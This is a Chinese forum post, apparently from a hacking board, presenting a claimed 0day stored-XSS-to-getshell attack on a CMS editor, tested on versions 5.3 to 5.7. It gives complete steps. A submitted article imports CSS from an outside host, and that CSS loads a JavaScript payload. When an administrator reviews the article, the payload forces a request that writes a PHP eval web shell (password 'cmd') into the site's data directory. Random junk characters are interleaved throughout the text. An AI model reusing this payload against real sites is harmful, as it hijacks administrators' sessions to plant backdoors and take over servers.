<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell' L7 D8 Q2 \ m6 g5 @+ d
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
- o/ P7 `+ u2 T# k+ t8 ]1 M& l$ t目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。+ H( J4 g" j- n. x+ _* Z
下面说说利用方法。
, P/ U" ^$ p# n" `条件有2个:! @* t" c$ u. I6 N
1.开启注册
8 \8 O' Q( K; h7 i: N: L0 |0 S2.开启投稿
, J1 j/ g9 ^* P注册会员----发表文章
0 Q9 O6 W* Y0 |0 B* E7 p/ ~内容填写:
. y( v# K4 n0 B, y5 @6 _: o, r4 P# A, a, u复制代码
+ Z2 F# ^: G0 s0 |- D<style>@im\port'\http://xxx.com/xss.css';</style>- _! P. q9 }) t1 A: J3 N# e7 ^* q6 m2 d
新建XSS.Css
8 D2 |. X7 q7 w8 z% A复制代码
' Z* @% P* Z: s.body{$ `7 m; U( t9 ~, P
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
1 K) |6 J5 E3 j( C2 a1 I- ~新建xss.js 内容为) s% P0 ~- w0 W
复制代码; |3 b3 u) n0 G
1.var request = false;+ o% |( |+ X1 @( T) j. A% o7 Z
2.if(window.XMLHttpRequest) {
* P2 U: o W8 v5 M3.request = new XMLHttpRequest();
; l5 I( o, M3 a4 h5 m4.if(request.overrideMimeType) {; `, R) n5 k7 K
5.request.overrideMimeType('text/xml');
9 E7 M! m* s! @; s6.}
7 D1 ?& ?) w" q% x* ]7.} else if(window.ActiveXObject) {: a# D5 W/ u7 {% V
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
' o0 @. O( A. r- T/ k9 @6 g8 j. O: g9.for(var i=0; i<versions.length; i++) {7 ^& E8 A& L1 C% f0 M7 d) g/ O
10.try {
2 @ f- B+ R. a. f8 Z$ y11.request = new ActiveXObject(versions);. G; T+ J7 }8 |- I/ x7 ~
12.} catch(e) {}4 U3 o1 b7 q P+ @$ _9 d
13.}: j) D0 k4 h) h' z" k
14.}% h* k, Q4 ^: n* t
15.xmlhttp=request;
/ C: n: z$ \: X# f16.function getFolder( url ){- T0 g4 u8 l3 d6 \& w" a
17. obj = url.split('/')' R, Y+ d8 ^: v" _9 q
18. return obj[obj.length-2]
1 {3 o0 F9 H4 r6 j1 s" `- U: e19.}
7 X% ^9 u# Q1 M6 A/ X% G20.oUrl = top.location.href;2 y' Y" z! T2 |! ~
21.u = getFolder(oUrl);% q7 A6 f- Z- ~3 e1 X# f
22.add_admin(); _2 I; U, |! J. A
23.function add_admin(){
! ^! h! o: J4 [6 }8 ~0 E24.var url= "/"+u+"/sys_sql_query.php";" V* p# K0 R1 m ^3 t+ W! l- r
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
! u3 [: t- i+ D7 x4 y( Y$ G26.xmlhttp.open("POST", url, true);$ C' a5 V! ?% U- A4 m% {: D2 W
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");2 V' O) J/ F8 p8 ~3 k$ N, k+ m% M
28.xmlhttp.setRequestHeader("Content-length", params.length);4 S) c+ {* `9 E* B
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");$ Y8 {! ` S3 c6 }& F; L
30.xmlhttp.send(params);
: m, ?2 X* c* U7 _31.}
* w8 }7 D: ?6 U2 ?+ g2 B5 B当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |